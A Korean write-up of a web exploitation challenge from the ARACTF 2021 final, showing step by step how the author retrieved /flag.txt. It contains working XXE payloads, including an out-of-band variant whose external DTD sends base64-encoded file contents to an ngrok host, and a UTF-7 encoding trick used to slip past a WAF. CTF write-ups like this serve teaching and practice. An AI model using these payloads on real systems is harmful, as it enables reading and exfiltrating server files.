웹 악용 - 최종 ARACTF 2021 작성

4443 단어

개발중인



Dionlinekan( ͡◉ ͜ʖ ͡◉)에 대한 웹사이트는 다음과 같습니다.

힌트: 인코딩 형식에 대해 알고 계십니까? 얼마나? 그렇다면 이 도전을 마무리합시다

기술 보고서



웹사이트를 열면 갑자기 페이지가 가짜 양식인 login.php로 리디렉션됩니다.

따라서 이 경우 index.php의 내용을 확인하기 위해 burpsuite를 사용합니다.

xml을 sendmessage로 보내는 /send.php라는 흥미로운 자바스크립트 함수가 있습니다. 페이로드는 다음과 같아야 합니다.

<?xml version="1.0"?>
<root>
    <name>yudi</name>
    <email>[email protected]</email>
    <message>hello world!</message>
</root>

mybest.php에 대한 또 다른 흥미로운 링크도 찾았습니다.

해당 페이지(mybest.php)에서 다른 힌트/flag.txt를 찾았습니다.


따라서 이전에 본 xml 항목을 사용하여 파일/flag.txt을 검색할 수 있습니다. 이 페이로드와 함께 insomnia를 사용해 봅시다.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///flag.txt'>]>
<root>&test;</root>


결과:


그러나 또 다른 문제가 있습니다.
  • 출력이 없습니다(블라인드)
  • WAF 거부 !DOCTYPE !ENTITY !ELEMENT file://.php

  • 그런 다음 대역 외(OOB) 공격 방법을 시도하여 원격 리소스를 로드합니다.
    페이로드:

    <!DOCTYPE root [
    <!ELEMENT root ANY >
    <!ENTITY % flag SYSTEM "http://075a05cf94ed.ngrok.io/dtd.xml">
    %flag;
    %all;
    ]>
    <root>&send;</root>
    


    dtd.xml

    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://075a05cf94ed.ngrok.io/%file;'>">
    


    그런 다음 모든 페이로드를 UTF-7로 인코딩하여 WAF를 우회했습니다.
    최종 페이로드:

    <?xml version="1.0" encoding="utf-7"?>
    +ADwAIQ-DOCTYPE root +AFs
    +ADwAIQ-ELEMENT root ANY +AD4
    +ADwAIQ-ENTITY +ACU flag SYSTEM +ACI-http://075a05cf94ed.ngrok.io/dtd.xml+ACIAPg
    +ACU-flag+ADs
    +ACU-all+ADs
    +AF0APg
    +ADw-root+AD4AJg-send+ADsAPA-/root+AD4
    


    dtd.xml

    <?xml version="1.0" encoding="utf-7"?>
    +ADwAIQ-ENTITY +ACU file SYSTEM +ACI-php://filter/convert.base64-encode/resource=/flag.txt+ACIAPg
    +ADwAIQ-ENTITY +ACU all +ACIAPAAh-ENTITY send SYSTEM 'http://075a05cf94ed.ngrok.io/+ACU-file+ADs'+AD4AIgA+
    


    결과:




    플래그: ara2021{ezzz_pz_lemon_sqzzzz}

    좋은 웹페이지 즐겨찾기